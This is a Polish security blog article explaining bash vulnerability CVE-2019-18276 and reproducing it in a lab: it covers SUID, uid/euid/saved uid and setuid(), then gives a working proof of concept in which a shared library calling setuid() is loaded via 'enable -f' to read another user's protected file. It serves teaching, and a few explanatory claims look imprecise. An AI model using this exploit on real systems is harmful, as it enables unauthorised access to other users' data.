W tym artykule skupiono się na podatności oznaczonej jako CVE-2019-18276. Była ona ówczesnym 0-day’em w powłoce basha odkrytym przez Iana Pudney’a. Błąd pojawił się na zawodach Google CTF jako element zadań finałowych.

Podatność polega na złym zarządzaniu uprawnieniami w powłoce bash. Powoduje to, że w szczególnych przypadkach możliwe jest korzystanie z niego przy użyciu cudzych uprawnień. W tym artykule omówiono niektóre mechanizmy systemu Linux konieczne do zrozumienia istoty błędu oraz stojące za nim szczegóły, by w końcowej części artykułu odtworzyć cały atak i wykorzystać podatność celem odczytania pliku, który należy do innego użytkownika.

Teoria

Flaga Set User Identity (SUID)

Chcąc zmienić hasło użytkownika w systemie Linux, można skorzystać z programu passwd. Program ten pobiera hasło użytkownika i zapisuje w pliku /etc/shadow w formie skrótu (np. MD5, SHA-512) . Jednak uruchomienie go z prawami zwykłego użytkownika nie powinno się udać, ponieważ plik /etc/shadow należy do użytkownika root oraz do grupy root. Co więc sprawia, że można bezproblemowo używać programu passwd jako zwykły użytkownik i modyfikować plik, który do niego nie należy?

Odpowiedzialną za taki stan rzeczy jest flaga SUID (ang. Set User Identification) i mechanizm z nią powiązany. Powodem jej istnienia jest potrzeba zasygnalizowania, by przy uruchamianiu programu wykorzystać prawa właściciela (a nie aktywnego użytkownika) pliku do jego działania. Dla przykładu, w programie passwd czy sudo obecna jest flaga SUID, która pozwala na jego wykonanie przez użytkownika z uprawnieniami właściciela. O obecności omawianej flagi informuje litera s w listingu uprawnień:

kali@kali:~$ ls -l /bin/passwd
-rwsr-xr-x 1 root root 63960 Feb  7 09:54 /bin/passwd
kali@kali:~$ ls -l /bin/sudo
-rwsr-xr-x 1 root root 161800 Feb  2 02:07 /bin/sudo

Aby włączyć tą możliwość i ustawić flagę SUID należy skorzystać z polecenia chmod:

kali@kali:~$ chmod o+s <file>

Analogicznie działa bit SGID (ang. set group identity), z tą różnicą, że przyznaje uprawnienia grupy, do której należy użytkownik dodający flagę.

Identyfikatory użytkowników - czym są uid, euid oraz suid?

Aby zrozumieć w jaki sposób zachodzi sterowanie uprawnieniami, należy wyjaśnić czym jest identyfikator użytkownika i jakie są jego rodzaje:

uid - numeryczny identyfikator użytkownika (ang. User ID). Jest on używany w celu identyfikacji użytkownika w systemie oraz np. wewnątrz działających procesów na potrzeby przydzielania uprawnień do ich poszczególnych zasobów. Informuje on także do jakiej grupy należy użytkownik - dla przykładu, w systemach opartych o architekturę Linux Debian uid z zakresu [1000-59999] należą do zwykłych użytkowników, natomiast uid=0 należy do roota (więcej informacji na temat przydzielania uid oraz ich zakresów w Debianie można znaleźć pod tym linkiem) W kontekście wykonywania programu uid zapisuje się także dla odróżnienia jako ruid (Real User ID). Zmienna ruid przyjmuje po prostu wartość uid użytkownika aktualnie wykonującego program.

suid - (ang. Saved User ID) - służy do zapisywania uprawnień przed ich zmianą (gdy program chwilowo zażąda niższych uprawnień). Gdy jednak program będzie chciał wrócić do porzuconych wcześniej uprawnień, pobierze je właśnie ze zmiennej suid.

euid - (ang. Effective User ID) - jest zmienną przechowującą uid użytkownika będącego właścicielem pliku z ustawioną flagą SUID.

Działanie flagi SUID w praktyce

Po uruchomieniu programu posiadającego ustawiony bit SUID, dzieją się następujące rzeczy:

  1. UID użytkownika uruchamiającego program zostaje zapisane w zmiennej suid
  2. UID właściciela pliku zostaje zapisane w zmiennej euid
  3. (r)UID (real user ID) w momencie uruchomienia programu pozostaje niezmienne (przyjmuje wartość użytkownika uruchamiającego program)
  4. Program zostaje uruchomiony z uprawnieniami właściciela (pobranymi ze zmiennej euid)
  5. Jeżeli program, po wykonaniu części wymagającej uprawnień właściciela, już ich nie potrzebuje - uprawnienia zostają zmniejszone (zasada minimalnych uprawnień). Program pobiera je wtedy ze zmiennej suid.
  6. Program dalej wykonuje się z uprawnieniami użytkownika uruchamiającego plik - bez uprawnień właściciela.

Wywołanie systemowe setuid()

Jeżeli uruchamiany plik posiada ustawioną flagę SUID, to uruchomi się on z uprawnieniami właściciela pliku - wiemy to już z poprzednich akapitów.

Ale co w sytuacji, kiedy proces porzuci je (ponieważ w danej sytuacji ich już nie potrzebuje), lecz potem zajdzie sytuacja, w której proces będzie z powrotem potrzebować wcześniej porzuconych uprawnień? W systemie Linux, ze względów bezpieczeństwa, proces może tylko i wyłącznie obniżać swoje uprawnienia, więc powinno być to niemożliwe.

Okazuje się jednak, że istnieje wywołanie systemowe, które to umożliwia, a jest nim setuid(). Powoduje ono przypisanie do (r)uid wartości euid. Dzięki niemu, przy obecności flagi SUID, proces może wrócić do porzuconych wcześniej uprawnień. Jest to jedyny wyjątek, kiedy proces może podwyższyć swoje uprawnienia w trakcie działania procesu. Jednak dzieje się to tylko w określonych warunkach - szczegółowo opisuje je dokumentacja:

setuid() sets the effective user ID of the calling process. If the calling process is privileged (more precisely: if the process has the CAP_SETUID capability in its user namespace), the real UID and saved set-user-ID are also set. […] If the user is root or the program is set-user-ID-root, special care must be taken: setuid() checks the effective user ID of the caller and if it is the superuser, all process-related user ID’s are set to uid. After this has occurred, it is impossible for the program to regain root privileges.

Oznacza to, że proces może przywrócić uprawnienia tylko wtedy, gdy poprzednio nie należał do roota (ponieważ w przeciwnym wypadku wszystkie 3 zmienne - euid, suid oraz (r)uid zostaną nadpisane, a wywołanie nie pozwoli na powrót do uprawnień roota ).

W związku z tym, wywołania setuid można użyć do przywrócenia porzuconych uprawnień tylko wtedy, kiedy plik posiadający ustawioną flagę SUID nie należy do użytkownika root.

Mechanizm porzucania uprawnień w bashu

W dokumentacji powłoki bash można odnaleźć następujący tekst:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id.

Sytuacja, w której euid nie jest równe (r)uid może mieć miejsce tylko i wyłącznie wtedy, gdy w pliku wykonywalnym basha jednocześnie zostanie włączona flaga SUID oraz gdy zostanie on wykonany przez użytkownika nie będącego właścicielem pliku (pod warunkiem, że właściciel nie jest rootem). Wtedy (r)uid przyjmuje uid użytkownika wykonującego program, a euid przyjmuje wartość uid właściciela (będą różne od siebie).

If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

Flaga ‘-p’ jest skrótem od priviliged i, jak wskazuje dokumentacja, pozwala na uruchomienie powłoki bash bez zmiany wartości euid. Spowoduje to, że nie będzie można ich odzyskać, ponieważ euid będzie równe (r)uid.

Jednak rezygnacja z flagi -p przy jednoczesnej obecności flagi SUID doprowadzi do interesującej sytuacji. Wartości euid oraz (r)uid będą różne i w konsekwencji bash porzuci uprawnienia zapisując je w zmiennej suid, a Effective UserID zmieni na wartość uid użytkownika, który go uruchomił.

Co więc to wszystko daje?

Jeżeli bash posiada flagę SUID i jego właścicielem nie jest root, to po jego uruchomieniu (bez trybu uprzywilejowanego) komendą:

kali@kali:~$ bash

dojdzie do sytuacji, w której uprawnienia zostaną porzucone, ponieważ uid != euid. Jednak jeżeli uda się użyć wywołania systemowego setuid, to będziemy w stanie odzyskać uprawnienia użytkownika, do którego oryginalnie należy plik.

Jak więc to zrobić w praktyce?

Praktyka (Proof of Concept)

Najnowsza wersja basha nie posiada omawianej podatności, stąd do przeprowadzenia ataku należy użyć jego starszej wersji. O ile obniżenie wersji powłoki w systemie nie jest raczej zalecane, to pobranie i kompilacja osobnego basha nie powinna być problematyczna. Źródło basha 4.4 (i wielu innych wersji) można pobrać ze strony ftp.gnu.org/gnu/bash/. Następnie należy skompilować i zainstalować pobrane pliki:

kali@kali:~Downloads/bash-4.4-rc1$ ./configure
kali@kali:~Downloads/bash-4.4-rc1$ make
kali@kali:~Downloads/bash-4.4-rc1$ make install

Od tej pory uruchamiając plik binarny powłoki z tego folderu, uruchomimy interpreter basha 4.4. Pamiętając, że podatność da się wykorzystać tylko na użytkownikach, którzy nie są rootem, należy stworzyć nowego użytkownika:

kali@kali:~$ sudo adduser john

Widać, że właścicielem basha jest standardowy użytkownik:

kali@kali:~/Downloads/bash-4.4-rc1$ ls -lah ./bash
-rwxr-xr-x 1 kali kali 5.0M Mar 17 06:52 ./bash

Należy zmienić właściciela pliku oraz ustawić flagę SUID:

kali@kali:~$ sudo chown john:john /home/kali/Downloads/bash-4.4-rc1/bash
kali@kali:~$ sudo chmod u+s /home/kali/Downloads/bash-4.4-rc1/bash

Uruchomienie powinno sprawić (przez obecność flagi SUID), że uruchomi się ona z uprawnieniami właściciela. Z uwagi na mechanizm porzucania uprawnień tak jednak się nie dzieje (euid=1000):

kali@kali:~/Downloads/bash-4.4-rc1$ ./bash
bash-4.4$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)
bash-4.4$

Stwórzmy więc plik tekstowy jako john i odbierzmy innym możliwość odczytywania pliku:

kali@kali:~$ sudo su john
john@kali:/home/kali$ cd
john@kali:~$ echo "What you see is what you get" > VerySecretFile
john@kali:~$ chmod o-r VerySecretFile 
john@kali:~$ ls -lah VerySecretFile 
-rw-r----- 1 john john 29 Mar 17 07:11 VerySecretFile

Standardowy użytkownik nie może odczytać teraz pliku johna:

kali@kali:~$ cat /home/john/VerySecretFile 
cat: /home/john/VerySecretFile: Permission denied

Pora na właściwy exploit. Jeżeli wewnątrz basha wykonany zostanie kod, który użyje wywołania systemowego setuid() zmieniając euid na to, które przypisane jest johnowi, to powinno dać się odczytać jego plik. Ale jak to zrobić? Z pomocą przychodzi program enable. Stosuje się go w celu aktywowania i dezaktywowania wbudowanych w powłokę poleceń. Ma jeszcze jedną możliwość - przy fladze -f uruchamia zadaną bibliotekę współdzieloną i próbuje odczytać z niej nazwę nowego polecenia wbudowanego

Programy wbudowane w basha (ang. builtins) to takie, które są wewnętrzną i integralną częścią powłoki. Każde z tych poleceń jest bezpośrednio wykonywane w powłoce w przeciwieństwie do całej reszty programów, które najpierw muszą zostać przez powłoke załadowane, nim będzie można je uruchomić. Z łatwością można sprawdzić, które polecenia są wbudowane, a które nie:

kali@kali:~/Desktop$ type -f cd
cd is a shell builtin
kali@kali:~/Desktop$ type -f head
head is /usr/bin/head

Biblioteka to plik, który nie może być osobnym programem, a jest jedynie zbiorem zasobów i procedur, z których mogą korzystać pliki wykonywalne. Shared Object File natomiast jest takim rodzajem biblioteki, która jest automatycznie dołączana na etapie tzw. linkowania. W przeciwieństwie do bibliotek łączonych dynamicznie (ang. dynamic-link libraries - DLL) Shared Object File musi być obecna na etapie kompilacji.

W kilku linijkach można zawrzeć kod, który doprowadzi do zmiany uid. Aby to zrobić należy załączyć niezbędne biblioteki oraz stworzyć konstruktor, w którym użyte zostanie polecenie setuid do ustawienia uid na wartość uid Johna, które jest równe 1002:

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
void __attribute__ ((constructor)) initLibrary(void) {
        setuid(1002);
}

Potem należy skompilować kod do pliku obiektowego oraz pliku współdzielonego obiektu (ang. shared object file):

kali@kali:~$ gcc -c -fPIC lib.c -o lib.o
kali@kali:~$ gcc -shared -fPIC lib.o -o liboflibs.so

Widać raz jeszcze, że po uruchomieniu powłoki, standardowy użytkownik nie jest w stanie odczytać pliku johna, gdyż bash porzucił uprawnienia:

kali@kali:~$ ./Downloads/bash-4.4-rc1/bash
bash-4.4$ cat /home/john/VerySecretFile 
cat: /home/john/VerySecretFile: Permission denied
bash-4.4$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)

Po załadowaniu biblioteki współdzielonej następuje błąd, gdyż nie wszystko zostało zaimplementowane. To jednak nie ma znaczenia, ponieważ interesujące polecenie setuid(1002) zostało wykonane w konstruktorze, co pozwala na odczytanie Bardzo Sekretnego Pliku Johna.

bash-4.4$ enable -f ./liboflibs.so asd
bash: enable: cannot find asd_struct in shared object ./liboflibs.so: ./liboflibs.so: undefined symbol: asd_struct
bash-4.4$ id
uid=1000(kali) gid=1000(kali) euid=1002(john) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)
bash-4.4$ cat /home/john/VerySecretFile 
What you see is what you get
bash-4.4$

Podsumowanie

Podatność CVE-2019-18276 jest już załatana, co nie oznacza, że analiza jej mechaniki jest pozbawiona sensu. Mechanizmy sterowania uprawnieniami od lat są źródłem kłopotów w systemach operacyjnych, co pozwala nam z dużą dozą prawdopodobieństwa założyć, że w przyszłości spotkamy się z kolejnymi CVE w tym temacie.

Tagi: , ,

Kategorie:

Autorzy: Mateusz Stafiniak oraz Marek Żytko


Ostatnia aktualizacja: